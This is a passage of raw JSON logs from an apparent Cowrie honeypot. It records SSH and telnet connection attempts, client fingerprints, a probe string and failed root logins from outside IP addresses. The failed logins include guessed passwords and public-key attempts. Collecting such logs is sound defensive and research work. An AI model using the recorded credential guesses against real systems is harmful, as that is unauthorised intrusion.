tr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:16.815375Z","src_ip":"103.183.114.55","session":"458ecfd95dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tennis","message":"login attempt [root/tennis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:17.487951Z","src_ip":"103.183.114.55","session":"458ecfd95dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:18.714191Z","src_ip":"103.183.114.55","session":"458ecfd95dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63160,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3bbb427ef08","protocol":"ssh","message":"New connection: 167.172.81.52:63160 (10.17.0.5:22) [session: f3bbb427ef08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:56.151082Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:56.156512Z","src_ip":"167.172.81.52","session":"f3bbb427ef08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:56.160241Z","src_ip":"167.172.81.52","session":"f3bbb427ef08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.177.186","src_port":4342,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd22d4630449","protocol":"ssh","message":"New connection: 129.232.177.186:4342 (10.17.0.5:22) [session: cd22d4630449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:57.119996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:57.127043Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:58.109389Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:5e:a9:d5:6b:f7:30:2f:7d:f8:62:bd:3b:8a:e9:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuHYlYTp7iVl6njg25mdk6uGGq7e0jiIn99DaNEjmt7BB7ghWOVIa07vP1KyW8xeK8C0lKi3uMIpqKxzHirQ/8gsgGXMHb9zF/pRNv502VrtUD2lNMS1y8ETTEcaEdF3lvrvwAXZJ4YqXljU4RixAjuxl/xTLHpbkLOMBT+IbR3RYMQjSaCksJR7p5teFfCDqq4MhgtmBfdiBskwaGqbA4g6iEX8MVxg6cm3Aq2AOWhgxbN1guPs4/uwLwe2SoogsYqRlhaYlSUG1UZGaoRgk89xX6DkECE89x1QWbSfVY1s0rS7tD9+/2nHHXnA23nxxDfX6qMlG/r0bR/F3ywqlR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:5e:a9:d5:6b:f7:30:2f:7d:f8:62:bd:3b:8a:e9:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:01.460854Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:5e:a9:d5:6b:f7:30:2f:7d:f8:62:bd:3b:8a:e9:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuHYlYTp7iVl6njg25mdk6uGGq7e0jiIn99DaNEjmt7BB7ghWOVIa07vP1KyW8xeK8C0lKi3uMIpqKxzHirQ/8gsgGXMHb9zF/pRNv502VrtUD2lNMS1y8ETTEcaEdF3lvrvwAXZJ4YqXljU4RixAjuxl/xTLHpbkLOMBT+IbR3RYMQjSaCksJR7p5teFfCDqq4MhgtmBfdiBskwaGqbA4g6iEX8MVxg6cm3Aq2AOWhgxbN1guPs4/uwLwe2SoogsYqRlhaYlSUG1UZGaoRgk89xX6DkECE89x1QWbSfVY1s0rS7tD9+/2nHHXnA23nxxDfX6qMlG/r0bR/F3ywqlR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:01.464896Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:b4:ec:ed:e6:88:19:09:8e:c8:25:f2:39:fb:66:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1wKBj1cjgFtsYG1g8tiI7GFitleHeDIfNDffj4Vcd6tCs4BlT8oOMArWz1p+Oodjv60cyL0uYcmNwSc5ikvUnBwM9HQc05Mx8+JA4TjU5WGZVlFnj2ZAaq7bJsSJZIEjW0o/6gnAh5Yi22y5/lJKcZ6sDV+TohmGivYW32NqvjXhMq7XnmkI369Suut5n41fYRLmFS9Ht3mUryZ9f6F5YYCgi2im5DuKzrZILjiJDjmBxmeNqru78azxxa+NE71kDOGD9Ll9w8JEn4LPgHmzxgpTGOzDKI1jOH9F8oCfcBqUQyshf0uSaKrsCmISeOYfc4xJaJ9BsixKNsPdb905mQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:b4:ec:ed:e6:88:19:09:8e:c8:25:f2:39:fb:66:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:01.721181Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:b4:ec:ed:e6:88:19:09:8e:c8:25:f2:39:fb:66:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1wKBj1cjgFtsYG1g8tiI7GFitleHeDIfNDffj4Vcd6tCs4BlT8oOMArWz1p+Oodjv60cyL0uYcmNwSc5ikvUnBwM9HQc05Mx8+JA4TjU5WGZVlFnj2ZAaq7bJsSJZIEjW0o/6gnAh5Yi22y5/lJKcZ6sDV+TohmGivYW32NqvjXhMq7XnmkI369Suut5n41fYRLmFS9Ht3mUryZ9f6F5YYCgi2im5DuKzrZILjiJDjmBxmeNqru78azxxa+NE71kDOGD9Ll9w8JEn4LPgHmzxgpTGOzDKI1jOH9F8oCfcBqUQyshf0uSaKrsCmISeOYfc4xJaJ9BsixKNsPdb905mQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:01.725296Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:99:eb:9a:a1:b0:74:84:f3:52:37:64:60:aa:c0:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv1UT5CjtRuSl+FpH+/oTd4Jw+KTpPAZr6OYbtl7LCXmn1f48R1ilLW/bD3rTz8TTHAtJ1JRx5ZCIOz0N9+2c0NOM4aIgK1ZTa+SyKWj7yvR3/0ORnoCwAq1hrQfyRR3H1YluLFqyqFIUzQfr5S+2ZUsZsNjor5rli5u4gd8JToc+SyovJPkaaA4wy4HwpuBsCTDOIaIN15ijwoDWmG7bmzPdwArV0dH+SHeMm6t8ZwL0aYRWroZr35lbsVjRPTGxIwsGRLqQk2KD77WUImgydddAgM0+ql8HLdkEmqOSEZ0/hKsVsxh3qhz3qzDL/9FCwgG6BKVy0va1u/v1LeRpt2bR6VOm4ucVK7lH1pXPD0h0mG7u6o80vwBX1k5xqSdEg0e+bhM008i4xZze6jkN6TZVhQz7g3ad9aRabRzYBxS7xmVTc6GehPs2LmtWwQ+3On4t+M/hMt6QXvGkbpxNTzOpe3yXUHZmrH1X81LXzI8iFIA04zI7YNQMi8QxURU/ASmOhhS9oySJvn6GQ4++iUpm7n+nptaLIapKFZhEyq7Pe5ijuf+tpajUmjDTykZpTyTmWNX2g3bWBgPU+4V94K1tN7nf3ZmzglXDa9Oj2QD/Fm2NCY07sQDtP/iHK608bDIBzykaDL0BosQ2LegXCaMF0jrkVLcaHwimZeGsWEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:99:eb:9a:a1:b0:74:84:f3:52:37:64:60:aa:c0:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:01.981462Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:99:eb:9a:a1:b0:74:84:f3:52:37:64:60:aa:c0:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv1UT5CjtRuSl+FpH+/oTd4Jw+KTpPAZr6OYbtl7LCXmn1f48R1ilLW/bD3rTz8TTHAtJ1JRx5ZCIOz0N9+2c0NOM4aIgK1ZTa+SyKWj7yvR3/0ORnoCwAq1hrQfyRR3H1YluLFqyqFIUzQfr5S+2ZUsZsNjor5rli5u4gd8JToc+SyovJPkaaA4wy4HwpuBsCTDOIaIN15ijwoDWmG7bmzPdwArV0dH+SHeMm6t8ZwL0aYRWroZr35lbsVjRPTGxIwsGRLqQk2KD77WUImgydddAgM0+ql8HLdkEmqOSEZ0/hKsVsxh3qhz3qzDL/9FCwgG6BKVy0va1u/v1LeRpt2bR6VOm4ucVK7lH1pXPD0h0mG7u6o80vwBX1k5xqSdEg0e+bhM008i4xZze6jkN6TZVhQz7g3ad9aRabRzYBxS7xmVTc6GehPs2LmtWwQ+3On4t+M/hMt6QXvGkbpxNTzOpe3yXUHZmrH1X81LXzI8iFIA04zI7YNQMi8QxURU/ASmOhhS9oySJvn6GQ4++iUpm7n+nptaLIapKFZhEyq7Pe5ijuf+tpajUmjDTykZpTyTmWNX2g3bWBgPU+4V94K1tN7nf3ZmzglXDa9Oj2QD/Fm2NCY07sQDtP/iHK608bDIBzykaDL0BosQ2LegXCaMF0jrkVLcaHwimZeGsWEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:01.986410Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:ff:91:3f:10:01:4b:ae:0c:f6:4b:c2:b0:ed:53:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS2I5w63PWu/uDAaXF+S/qOFPDdciODfq2ik1sGzRSPNdw1ErbK0sN1iEXiQ9uqIAQk9TZqyPNWCyy3xxkfOZVCXQTeuHJiHeVjiseXIGuWSdFoy50e9Woas1vhQCGWtFKjeNdN+zdTGvU39y63C9ZGIZL/JQSyr57biBGYZc9VReU4bK1srkc+HyiwimMekm/ZkfmnIP7t4rnsXx7ezqige6UrzDIoOSpSZ8/eD2sa3vzlHCkvp+pBQGRmoLxREhU1U1n2HZ2mkDBgnYevjukxQ/tqEXB7/H8HI/gCMbO436OO+yYGXa7e+6XcfXPQ4OA2YDxk/yE9ugCVX2dWxdP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:ff:91:3f:10:01:4b:ae:0c:f6:4b:c2:b0:ed:53:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:02.245292Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:ff:91:3f:10:01:4b:ae:0c:f6:4b:c2:b0:ed:53:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS2I5w63PWu/uDAaXF+S/qOFPDdciODfq2ik1sGzRSPNdw1ErbK0sN1iEXiQ9uqIAQk9TZqyPNWCyy3xxkfOZVCXQTeuHJiHeVjiseXIGuWSdFoy50e9Woas1vhQCGWtFKjeNdN+zdTGvU39y63C9ZGIZL/JQSyr57biBGYZc9VReU4bK1srkc+HyiwimMekm/ZkfmnIP7t4rnsXx7ezqige6UrzDIoOSpSZ8/eD2sa3vzlHCkvp+pBQGRmoLxREhU1U1n2HZ2mkDBgnYevjukxQ/tqEXB7/H8HI/gCMbO436OO+yYGXa7e+6XcfXPQ4OA2YDxk/yE9ugCVX2dWxdP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:02.250087Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:fc:2b:35:b8:46:b9:7c:7a:be:a4:97:15:ea:89:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKuJfP8NYMwOk8e4Wf5NAFlvSdYYtsh3XG6RhFdcKONG","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f9:fc:2b:35:b8:46:b9:7c:7a:be:a4:97:15:ea:89:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:02.509876Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:fc:2b:35:b8:46:b9:7c:7a:be:a4:97:15:ea:89:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKuJfP8NYMwOk8e4Wf5NAFlvSdYYtsh3XG6RhFdcKONG","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:02.514070Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:03.258449Z","src_ip":"129.232.177.186","session":"cd22d4630449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":55340,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ec8cd923029","protocol":"ssh","message":"New connection: 103.77.175.15:55340 (10.17.0.5:22) [session: 5ec8cd923029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:08.511462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:08.515918Z","src_ip":"103.77.175.15","session":"5ec8cd923029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:09.504845Z","src_ip":"103.77.175.15","session":"5ec8cd923029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfkthf","message":"login attempt [root/dfkthf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:10.281925Z","src_ip":"103.77.175.15","session":"5ec8cd923029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:11.541837Z","src_ip":"103.77.175.15","session":"5ec8cd923029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"d83a6b785d31","protocol":"telnet","message":"New connection: 152.42.224.71:34032 (10.17.0.5:23) [session: d83a6b785d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:40.850286Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34034,"dst_ip":"10.17.0.5","dst_port":23,"session":"09acdedac056","protocol":"telnet","message":"New connection: 152.42.224.71:34034 (10.17.0.5:23) [session: 09acdedac056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:44.679523Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52068,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e51ac28734","protocol":"telnet","message":"New connection: 152.42.224.71:52068 (10.17.0.5:23) [session: 63e51ac28734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:26:54.556192Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59012,"dst_ip":"10.17.0.5","dst_port":23,"session":"d134511b5af5","protocol":"telnet","message":"New connection: 152.42.224.71:59012 (10.17.0.5:23) [session: d134511b5af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:27:10.578843Z"}
{"eventid":"cowrie.session.closed","duration":36.888169288635254,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:27:17.738327Z","src_ip":"152.42.224.71","session":"d83a6b785d31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37624,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b43b7597db5","protocol":"ssh","message":"New connection: 103.27.238.114:37624 (10.17.0.5:22) [session: 5b43b7597db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:27:59.601900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:27:59.607287Z","src_ip":"103.27.238.114","session":"5b43b7597db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:27:59.882539Z","src_ip":"103.27.238.114","session":"5b43b7597db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38612,"dst_ip":"10.17.0.5","dst_port":22,"session":"0368062b8e8a","protocol":"ssh","message":"New connection: 109.237.96.109:38612 (10.17.0.5:22) [session: 0368062b8e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:00.138009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:00.144820Z","src_ip":"109.237.96.109","session":"0368062b8e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:28:00.242899Z","src_ip":"109.237.96.109","session":"0368062b8e8a","protocol":"ssh"}
